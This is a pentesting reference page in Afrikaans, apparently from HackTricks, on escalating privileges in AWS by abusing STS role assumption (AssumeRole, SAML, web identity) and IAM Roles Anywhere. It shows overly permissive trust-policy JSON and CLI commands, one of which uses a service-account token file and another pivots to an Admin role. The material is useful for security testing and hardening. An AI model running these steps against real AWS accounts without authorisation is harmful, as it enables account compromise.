# AWS - STS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## STS

### `sts:AssumeRole`

Elke rol word geskep met 'n **role trust policy**, hierdie beleid dui aan **wie die geskepte rol kan aanvaar**. As 'n rol van die **dieselfde account** sê dat 'n account dit kan aanvaar, beteken dit dat die account toegang tot die rol sal hê (en moontlik **privesc**).

Byvoorbeeld, die volgende role trust policy dui aan dat enigiemand dit kan aanvaar, daarom sal **enige gebruiker in staat wees om te privesc** na die toestemmings wat met daardie rol geassosieer is.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "sts:AssumeRole"
}
]
}
```
Jy kan 'n rol naboots deur die volgende uit te voer:
```bash
aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname
```
**Potensiële impak:** Privesc na die role.

> [!CAUTION]
> Let daarop dat in hierdie geval die toestemming `sts:AssumeRole` **aangedui moet wees in die role wat misbruik word** en nie in 'n beleid wat aan die aanvaller behoort nie.\
> Met een uitsondering, om **'n role vanaf 'n ander rekening aan te neem** moet die aanvallerrekening **ook** die **`sts:AssumeRole`** oor die role hê.


### `sts:AssumeRoleWithSAML`

'n trust policy met hierdie role verleen **gebruikers wat via SAML geverifieer is toegang om die role te impersonate.**

'n voorbeeld van 'n trust policy met hierdie toestemming is:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "OneLogin",
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin"
},
"Action": "sts:AssumeRoleWithSAML",
"Condition": {
"StringEquals": {
"SAML:aud": "https://signin.aws.amazon.com/saml"
}
}
}
]
}
```
Om credentials te genereer om die role te impersonate, kan jy in die algemeen iets soos gebruik:
```bash
aws sts  assume-role-with-saml --role-arn <value> --principal-arn <value>
```
Maar **verskaffers** mag hul **eie gereedskap** hê om dit makliker te maak, soos [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role):
```bash
onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600
```
**Potensiële impak:** Privesc na die rol.

### `sts:AssumeRoleWithWebIdentity`

Hierdie toestemming maak dit moontlik om 'n stel tydelike sekuriteitsbewyse te kry vir **gebruikers wat geverifieer is in 'n mobiele of webtoepassing, EKS...** met 'n web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html)

Byvoorbeeld, as 'n **EKS service account** in staat moet wees om **impersonate an IAM role**, sal dit 'n token hê in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** en kan dit **assume the role and get credentials** deur iets soos die volgende te doen:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/<role_name> --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The role name can be found in the metadata of the configuration of the pod
```
### Federation Abuse

{{#ref}}
../../aws-basic-information/aws-federation-abuse.md
{{#endref}}

### IAM Roles Anywhere Privesc

AWS IAM RolesAnywhere laat workloads buite AWS toe om IAM roles aan te neem met X.509-certifikate. Maar wanneer trust policies nie behoorlik afgeperk is nie, kan hulle misbruik word vir privilege escalation.

Om hierdie aanval te verstaan, is dit nodig om te verduidelik wat 'n trust anchor is. 'n trust anchor in AWS IAM Roles Anywhere is die wortel-van-vertroue-entiteit; dit bevat die publieke sertifikaat van 'n Certificate Authority (CA) wat in die rekening geregistreer is sodat AWS die aangebode X.509-certifikate kan valideer. Op hierdie manier, as die client certificate deur daardie CA uitgereik is en die trust anchor aktief is, herken AWS dit as geldig.

Daarbenewens is 'n profile die konfigurasie wat bepaal watter attributte van die X.509-sertifikaat (soos CN, OU, of SAN) omgeskakel sal word na session tags, en hierdie tags sal later teen die voorwaardes van die trust policy vergelyk word.

Hierdie policy ontbreek beperkings oor watter trust anchor of sertifikaat-attribuut toegelaat word. As gevolg hiervan kan enige sertifikaat wat aan enige trust anchor in die rekening gekoppel is, gebruik word om hierdie role aan te neem.
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "rolesanywhere.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:SetSourceIdentity",
"sts:TagSession"
]
}
]
}

```
Om te privesc, is die `aws_signing_helper` benodig vanaf https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html

Vervolgens, deur 'n geldige sertifikaat te gebruik, kan die aanvaller na die hoër voorreg-rol pivot.
```bash
aws_signing_helper credential-process \
--certificate readonly.pem \
--private-key readonly.key \
--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \
--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \
--role-arn arn:aws:iam::123456789012:role/Admin
```
Die vertrouensanker valideer dat die kliënt se `readonly.pem` sertifikaat van sy gemagtigde CA kom, en binne hierdie `readonly.pem` sertifikaat is die publieke sleutel wat AWS gebruik om te verifieer dat die handtekening gemaak is met die ooreenstemmende private sleutel `readonly.key`.

Die sertifikaat verskaf ook attribuute (soos CN of OU) wat die `default` profiel omskakel in tags, wat die rol se trust policy kan gebruik om te besluit of toegang gemagtig word. As daar geen voorwaardes in die trust policy is nie, het daardie tags geen nut nie, en word toegang gegee aan enigiemand met ’n geldige sertifikaat.

Vir hierdie aanval om moontlik te wees, moet beide die vertrouensanker en die `default` profiel aktief wees.

### Verwysings

- [https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation](https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation)

{{#include ../../../../banners/hacktricks-training.md}}
